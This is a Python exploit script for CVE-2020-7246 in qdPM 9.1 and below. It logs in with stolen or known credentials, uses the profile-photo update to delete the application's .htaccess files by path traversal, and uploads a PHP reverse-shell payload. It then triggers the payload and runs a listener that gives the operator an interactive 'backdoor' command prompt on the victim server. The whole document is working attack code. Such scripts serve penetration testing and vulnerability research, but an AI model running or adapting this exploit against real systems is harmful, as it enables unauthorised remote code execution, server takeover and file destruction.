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#!/usr/bin/python

#-------------------------------------------------------------------------------------
# Title:	qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)
# Author:	Tobin Shields (@TobinShields)
#
# Description:	This is an exploit to automatically upload a PHP web shell to
#				the qdPM platform via the "upload a profile photo" feature.
#				This method also bypasses the fix put into place from a previous CVE
#
# Usage:		In order to leverage this exploit, you must know the credentials of
#				at least one user. Then, you should modify the values highlighted below.
#				You will also need a .php web shell payload to upload. This exploit
#				was built and tested using the PHP script built by pentestmonkey:
#				https://github.com/pentestmonkey/php-reverse-shell
#-------------------------------------------------------------------------------------

# Imports
from requests import Session
from bs4 import BeautifulSoup as bs
import socket
from multiprocessing import Process
import time

# CHANGE THESE VALUES-----------------------------------------------------------------
login_url = "http://[victim_domain]/path/to/qdPM/index.php/login"
username = "jsmith@example.com"
password = "Pa$$w0rd"
payload = "/path/to/payload.php"
listner_port = 1234 			# This should match your PHP payload
connection_delay = 2 			# Increase this value if you have a slow connection and are experiencing issues
# ------------------------------------------------------------------------------------

# Build the myAccout URL from the provided URL
myAccount_url = login_url.replace("login", "myAccount")

# PROGRAM FUNCTIONS -----------------------------------------------------------------
# Utility function for anytime a page needs to be requested and parsed via bs4
def requestAndSoupify(url):
	page = s.get(url)
	soup = bs(page.content, "html.parser")
	return soup

# Function to log into the application, and supply the correct username/password
def login(url):
	# Soupify the login page
	login_page = requestAndSoupify(url)
	# Grab the csrf token
	token = login_page.find("input", {"name": "login[_csrf_token]"})["value"]
	# Build the POST values
	login_data = {
		"login[email]": username,
		"login[password]": password,
		"login[_csrf_token]": token
	}
	# Send the login request
	s.post(login_url, login_data)

# Function to get the base values for making a POST request from the myAccount page
def getPOSTValues():
	myAccount_soup = requestAndSoupify(myAccount_url)
	# Search for the 'base' POST data needed for any requests
	u_id 	= myAccount_soup.find("input", {"name": "users[id]"})["value"]
	token 	= myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"]
	u_name 	= myAccount_soup.find("input", {"name": "users[name]"})["value"]
	u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"]
	# Populate the POST data object
	post_data = {
		"users[id]": u_id,
		"users[_csrf_token]": token,
		"users[name]": u_name,
		"users[email]": u_email,
		"users[culture]": "en" # Keep the language English--change this for your victim locale
	}
	return post_data

# Function to remove the a file from the server by exploiting the CVE
def removeFile(file_to_remove):
	# Get base POST data
	post_data = getPOSTValues()
	# Add the POST data to remove a file
	post_data["users[photo_preview]"] = file_to_remove
	post_data["users[remove_photo]"] = 1
	# Send the POST request to the /update page
	s.post(myAccount_url + "/update", post_data)
	# Print update to user
	print("Removing " + file_to_remove)
	# Sleep to account for slow connections
	time.sleep(connection_delay)

# Function to upload the payload to the server
def uploadPayload(payload):
	# Get payload name from supplied URI
	payload_name = payload.rsplit('/', 1)[1]
	# Request page and get base POST files
	post_data = getPOSTValues()
	# Build correct payload POST header by dumping the contents
	payload_file = {"users[photo]": open(payload, 'rb')}
	# Send POST request with base data + file
	s.post(myAccount_url + "/update", post_data, files=payload_file)
	# Print update to user
	print("Uploading " + payload_name)
	# Sleep for slow connections
	time.sleep(connection_delay)

# A Function to find the name of the newly uploaded payload
	# NOTE: We have to do this because qdPM adds a random number to the uploaded file
	# EX: webshell.php becomes 1584009-webshell.php
def getPayloadURL():
	myAccount_soup = requestAndSoupify(myAccount_url)
	payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"]
	return payloadURL

# Function to handle creating the webshell listener and issue commands to the victim
def createBackdoorListener():
	# Set up the listening socket on localhost
	server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	host = "0.0.0.0"
	port = listner_port # Specified at the start of this script by user
	server_socket.bind((host, port))
	server_socket.listen(2)
	victim, address = server_socket.accept()
	# Print update to user once the connection is made
	print("Received connection from: " + str(address))

	# Simulate a terminal and build a pusdo-prompt using the victem IP
	prompt = "backdoor@" + str(address[0]) + ":~$ "

	# Grab the first response from the victim--this is usually OS info
	response = victim.recv(1024).decode('utf-8')
	print(response)
	print("\nType 'exit' at any time to close the connection")

	# Maintain the connection and send data back and forth
	while True:
		# Grab the command from the user
		command = input(prompt)
		# If they type "exit" then close the socket
		if 'exit' in command:
			victim.close()
			server_socket.close()
			print("Disconnecting, please wait...")
			break
		# For all other commands provided
		else:
			# Encode the command to be properly sent via the socket & send the command
			command = str.encode(command + "\n")
			victim.send(command)
			# Grab the response to the command and decode it
			response = victim.recv(1024).decode('utf-8')
			# For some odd reason you have to hit "enter" after sending the command to receive the output
			# TODO: Fix this so it works on a single send? Although it might just be the PHP webshell
			victim.send(str.encode("\n"))
			response = victim.recv(1024).decode('utf-8')
			# If a command returns nothing (i.e. a 'cd' command, it prints a "$"
			# This is a confusing output so it will omit this output
			if response.strip() != "$":
				print(response)

# Trigger the PHP to run by making a page request
def triggerShell(s, payloadURL):
	pageReq = s.get(payloadURL)

# MAIN FUNCTION ----------------------------------------------------------------------
# The main function of this program establishes a unique session to issue the various POST requests
with Session() as s:
	# Login as know user
	login(login_url)
	# Remove Files
		# You may need to modify this list if you suspect that there are more .htaccess files
		# However, the default qdPM installation just had these two
	files_to_remove = [".htaccess", "../.htaccess"]
	for f in files_to_remove:
		removeFile(f)
	# Upload payload
	uploadPayload(payload)
	# Get the payload URL
	payloadURL = getPayloadURL()
	# Start a thread to trigger the script with a web request
	process = Process(target=triggerShell, args=(s, payloadURL))
	process.start()
	# Create the backdoor listener and wait for the above request to trigger
	createBackdoorListener()